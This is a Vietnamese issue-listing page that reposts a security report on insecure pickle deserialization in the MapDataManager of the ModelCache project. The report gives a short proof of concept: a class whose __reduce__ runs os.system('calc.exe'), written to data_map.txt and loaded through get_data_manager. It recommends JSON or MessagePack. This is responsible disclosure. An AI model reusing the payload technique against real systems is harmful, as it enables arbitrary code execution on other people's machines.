Insecure Deserialization Vulnerability in DataManager
Chưa có ai nhận issue này.
Đánh giá
- Độ khó
- 5/5
- Thời gian dự kiến
- Hơn một tuần
- Mức phù hợp với người mới
- 30/100
Hướng nghiên cứu
Bắt đầu bằng cách xác định MapDataManager và lệnh gọi pickle.load, sau đó theo dõi cách get_data_manager và factory.py tạo và đọc data_map.txt. Xem xét định dạng bộ nhớ đệm và mọi kiểm thử hiện có trước khi chọn một phương án thay thế an toàn. Công việc được xem là hoàn tất khi dữ liệu đã lưu trong bộ nhớ đệm có thể được tải mà không thực thi mã tùy ý và hành vi tải dữ liệu liên quan được kiểm thử.
Do mô hình lập chỉ mục viết ra từ nội dung của issue.
Mô tả
Hi,
I've discovered a critical vulnerability in the MapDataManager class where pickle.load is used to deserialize cached data from a file. The use of pickle is inherently unsafe as it can execute arbitrary Python code during deserialization. This poses a significant risk, such as enabling remote code execution (RCE) by deserializing malicious objects.
PoC
Below is a simple PoC for this issue, I also attach a picture with 'dir' payload for your reference.
import pickle
import os
from modelcache.manager import get_data_manager
# Malicious class that executes arbitrary code when deserialized
class Exploit:
def __reduce__(self):
return (os.system, ('calc.exe',)) # calc.exe for windows
malicious_payload = pickle.dumps(Exploit())
with open("data_map.txt", "wb") as f: #Using data_map.txt like in factory.py
f.write(malicious_payload)
# Simulate loading the malicious cache file
data_manager = get_data_manager(data_path="data_map.txt", max_size=1000)
While the example Flask application uses SQLite as the cache base, similar risks could arise if user-controlled data is cached into the database and subsequently deserialized.
Recommendation
To mitigate this issue, I strongly recommend avoiding pickle for serialization. Safer alternatives like JSON or MessagePack should be used, as they do not allow code execution.
Thanks.
- Ngôn ngữ chính
- Python
- Star
- 932
- Fork
- 68
- Chỉ số merge pull request
- Không có pull request nào được merge trong 30 ngày
Chuẩn bị môi trường
- Có Dockerfile hoặc tệp Docker Compose
- Không có mẫu pull request
- Không có hướng dẫn đóng góp
Bắt đầu từ đâu
- Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
- Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
- Fork repository và làm thay đổi trên một nhánh.
- Mở pull request có tham chiếu số hiệu của issue.
Issue khác của codefuse-ai/ModelCache
-
提供OpenAI格式的查询接口Đang mở
Độ khó 5/5 Hơn một tuần Mức phù hợp với người mới 25/100
codefuse-ai/ModelCache#69 · 1 bình luận ·
Tất cả issue của codefuse-ai/ModelCache
Issue tương tự
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 78/100
Maintainer thường phản hồi trong vòng 6 ngày
-
Bump zizmor to 1.31.1+Đang mởgithub_actions
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 65/100
collective/icalendar#2003 · 1 bình luận ·
Maintainer thường phản hồi trong vòng 1 ngày
-
bug
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 79/100
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 68/100
openzim/python-scraperlib#360 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 82/100
volcengine/OpenViking#6445 ·
Maintainer thường phản hồi trong vòng 1 ngày